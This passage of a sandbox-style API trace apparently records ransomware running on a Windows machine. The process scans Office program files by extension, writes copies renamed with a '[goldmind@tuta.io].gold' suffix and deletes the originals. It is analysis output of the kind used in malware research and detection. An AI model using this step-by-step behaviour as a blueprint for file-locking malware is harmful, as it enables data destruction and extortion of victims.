Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0103.484] lstrlenW (lpString=".dbf") returned 4 [0103.484] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0103.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0103.484] lstrlenW (lpString=".1cd") returned 4 [0103.484] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0103.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0103.484] lstrlenW (lpString=".jpg") returned 4 [0103.484] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0103.484] lstrcmpiW (lpString1=".HXS", lpString2=".gold") returned 1 [0103.484] lstrlenW (lpString="MSTORE.HXS") returned 10 [0103.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.485] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=389716) returned 1 [0103.485] CloseHandle (hObject=0x3bc) returned 1 [0103.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs")) returned 0x20 [0103.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.485] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.485] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0103.486] GetLastError () returned 0x0 [0103.486] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x5f254, lpOverlapped=0x0) returned 1 [0103.494] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x5f260, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x5f260, lpOverlapped=0x0) returned 1 [0103.499] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.499] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0103.597] SetEndOfFile (hFile=0x198) returned 1 [0103.597] CloseHandle (hObject=0x198) returned 1 [0103.597] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.597] SetEndOfFile (hFile=0x3bc) returned 1 [0103.636] CloseHandle (hObject=0x3bc) returned 1 [0103.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.733] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs")) returned 1 [0103.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0103.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0103.734] lstrlenW (lpString=".doc") returned 4 [0103.734] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0103.734] lstrlenW (lpString=".docx") returned 5 [0103.734] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1 [0103.734] lstrlenW (lpString=".pdf") returned 4 [0103.734] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0103.734] lstrlenW (lpString=".xls") returned 4 [0103.734] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0103.734] lstrlenW (lpString=".xlsx") returned 5 [0103.734] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1 [0103.734] lstrlenW (lpString=".ppt") returned 4 [0103.734] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0103.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0103.734] lstrlenW (lpString=".zip") returned 4 [0103.734] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0103.734] lstrlenW (lpString=".rar") returned 4 [0103.734] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0103.734] lstrlenW (lpString=".bz2") returned 4 [0103.734] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0103.734] lstrlenW (lpString=".7z") returned 3 [0103.734] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0103.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0103.734] lstrlenW (lpString=".dbf") returned 4 [0103.734] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0103.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0103.734] lstrlenW (lpString=".1cd") returned 4 [0103.734] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0103.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0103.734] lstrlenW (lpString=".jpg") returned 4 [0103.734] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0103.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0103.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0103.734] lstrlenW (lpString=".doc") returned 4 [0103.734] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0103.735] lstrlenW (lpString=".docx") returned 5 [0103.735] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1 [0103.735] lstrlenW (lpString=".pdf") returned 4 [0103.735] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0103.735] lstrlenW (lpString=".xls") returned 4 [0103.735] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0103.735] lstrlenW (lpString=".xlsx") returned 5 [0103.735] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1 [0103.735] lstrlenW (lpString=".ppt") returned 4 [0103.735] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0103.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0103.735] lstrlenW (lpString=".zip") returned 4 [0103.735] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0103.735] lstrlenW (lpString=".rar") returned 4 [0103.735] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0103.735] lstrlenW (lpString=".bz2") returned 4 [0103.735] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0103.735] lstrlenW (lpString=".7z") returned 3 [0103.735] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0103.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0103.735] lstrlenW (lpString=".dbf") returned 4 [0103.735] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0103.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0103.735] lstrlenW (lpString=".1cd") returned 4 [0103.735] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0103.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0103.735] lstrlenW (lpString=".jpg") returned 4 [0103.735] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0103.735] lstrcmpiW (lpString1=".VRD", lpString2=".gold") returned 1 [0103.735] lstrlenW (lpString="NETWORK2.VRD") returned 12 [0103.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.739] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2150) returned 1 [0103.739] CloseHandle (hObject=0x38c) returned 1 [0103.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd")) returned 0x20 [0103.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.740] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.740] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0103.742] GetLastError () returned 0x0 [0103.742] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x866, lpOverlapped=0x0) returned 1 [0103.744] WriteFile (in: hFile=0x3b4, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x870, lpOverlapped=0x0) returned 1 [0103.745] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.745] WriteFile (in: hFile=0x3b4, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0103.745] SetEndOfFile (hFile=0x3b4) returned 1 [0103.745] CloseHandle (hObject=0x3b4) returned 1 [0103.745] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.745] SetEndOfFile (hFile=0x38c) returned 1 [0103.747] CloseHandle (hObject=0x38c) returned 1 [0103.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.747] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd")) returned 1 [0103.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0103.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0103.748] lstrlenW (lpString=".doc") returned 4 [0103.748] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0103.748] lstrlenW (lpString=".docx") returned 5 [0103.748] lstrcmpiW (lpString1=".docx", lpString2="2.VRD") returned -1 [0103.748] lstrlenW (lpString=".pdf") returned 4 [0103.748] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0103.748] lstrlenW (lpString=".xls") returned 4 [0103.748] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0103.748] lstrlenW (lpString=".xlsx") returned 5 [0103.748] lstrcmpiW (lpString1=".xlsx", lpString2="2.VRD") returned -1 [0103.748] lstrlenW (lpString=".ppt") returned 4 [0103.748] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0103.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0103.748] lstrlenW (lpString=".zip") returned 4 [0103.748] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0103.748] lstrlenW (lpString=".rar") returned 4 [0103.748] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0103.748] lstrlenW (lpString=".bz2") returned 4 [0103.748] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0103.748] lstrlenW (lpString=".7z") returned 3 [0103.748] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0103.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0103.748] lstrlenW (lpString=".dbf") returned 4 [0103.748] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0103.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0103.748] lstrlenW (lpString=".1cd") returned 4 [0103.748] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0103.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0103.748] lstrlenW (lpString=".jpg") returned 4 [0103.748] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0103.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0103.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0103.748] lstrlenW (lpString=".doc") returned 4 [0103.748] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0103.748] lstrlenW (lpString=".docx") returned 5 [0103.748] lstrcmpiW (lpString1=".docx", lpString2="2.VRD") returned -1 [0103.749] lstrlenW (lpString=".pdf") returned 4 [0103.749] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0103.749] lstrlenW (lpString=".xls") returned 4 [0103.749] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0103.749] lstrlenW (lpString=".xlsx") returned 5 [0103.749] lstrcmpiW (lpString1=".xlsx", lpString2="2.VRD") returned -1 [0103.749] lstrlenW (lpString=".ppt") returned 4 [0103.749] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0103.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0103.749] lstrlenW (lpString=".zip") returned 4 [0103.749] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0103.749] lstrlenW (lpString=".rar") returned 4 [0103.749] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0103.749] lstrlenW (lpString=".bz2") returned 4 [0103.749] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0103.749] lstrlenW (lpString=".7z") returned 3 [0103.749] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0103.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0103.749] lstrlenW (lpString=".dbf") returned 4 [0103.749] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0103.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0103.749] lstrlenW (lpString=".1cd") returned 4 [0103.749] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0103.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0103.749] lstrlenW (lpString=".jpg") returned 4 [0103.749] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0103.749] lstrcmpiW (lpString1=".VRD", lpString2=".gold") returned 1 [0103.749] lstrlenW (lpString="NETWORK3.VRD") returned 12 [0103.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.750] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=3246) returned 1 [0103.750] CloseHandle (hObject=0x38c) returned 1 [0103.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd")) returned 0x20 [0103.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.750] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.750] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0103.751] GetLastError () returned 0x0 [0103.751] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0xcae, lpOverlapped=0x0) returned 1 [0103.752] WriteFile (in: hFile=0x3b4, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xcb0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xcb0, lpOverlapped=0x0) returned 1 [0103.753] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.753] WriteFile (in: hFile=0x3b4, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0103.753] SetEndOfFile (hFile=0x3b4) returned 1 [0103.753] CloseHandle (hObject=0x3b4) returned 1 [0103.753] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.753] SetEndOfFile (hFile=0x38c) returned 1 [0103.755] CloseHandle (hObject=0x38c) returned 1 [0103.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.755] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd")) returned 1 [0103.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0103.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0103.755] lstrlenW (lpString=".doc") returned 4 [0103.755] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0103.755] lstrlenW (lpString=".docx") returned 5 [0103.755] lstrcmpiW (lpString1=".docx", lpString2="3.VRD") returned -1 [0103.756] lstrlenW (lpString=".pdf") returned 4 [0103.756] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0103.756] lstrlenW (lpString=".xls") returned 4 [0103.756] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0103.756] lstrlenW (lpString=".xlsx") returned 5 [0103.756] lstrcmpiW (lpString1=".xlsx", lpString2="3.VRD") returned -1 [0103.756] lstrlenW (lpString=".ppt") returned 4 [0103.756] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0103.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0103.756] lstrlenW (lpString=".zip") returned 4 [0103.756] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0103.756] lstrlenW (lpString=".rar") returned 4 [0103.756] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0103.756] lstrlenW (lpString=".bz2") returned 4 [0103.756] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0103.756] lstrlenW (lpString=".7z") returned 3 [0103.756] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0103.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0103.756] lstrlenW (lpString=".dbf") returned 4 [0103.756] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0103.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0103.756] lstrlenW (lpString=".1cd") returned 4 [0103.756] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0103.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0103.756] lstrlenW (lpString=".jpg") returned 4 [0103.756] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0103.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0103.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0103.756] lstrlenW (lpString=".doc") returned 4 [0103.756] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0103.756] lstrlenW (lpString=".docx") returned 5 [0103.756] lstrcmpiW (lpString1=".docx", lpString2="3.VRD") returned -1 [0103.756] lstrlenW (lpString=".pdf") returned 4 [0103.756] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0103.756] lstrlenW (lpString=".xls") returned 4 [0103.756] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0103.756] lstrlenW (lpString=".xlsx") returned 5 [0103.756] lstrcmpiW (lpString1=".xlsx", lpString2="3.VRD") returned -1 [0103.756] lstrlenW (lpString=".ppt") returned 4 [0103.756] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0103.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0103.756] lstrlenW (lpString=".zip") returned 4 [0103.756] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0103.756] lstrlenW (lpString=".rar") returned 4 [0103.756] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0103.757] lstrlenW (lpString=".bz2") returned 4 [0103.757] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0103.757] lstrlenW (lpString=".7z") returned 3 [0103.757] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0103.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0103.757] lstrlenW (lpString=".dbf") returned 4 [0103.757] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0103.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0103.757] lstrlenW (lpString=".1cd") returned 4 [0103.757] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0103.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0103.757] lstrlenW (lpString=".jpg") returned 4 [0103.757] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0103.757] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0103.757] lstrlenW (lpString="OFFOWCI.DLL") returned 11 [0103.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\offowci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.758] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=529280) returned 1 [0103.758] CloseHandle (hObject=0x38c) returned 1 [0103.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\offowci.dll")) returned 0x20 [0103.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: 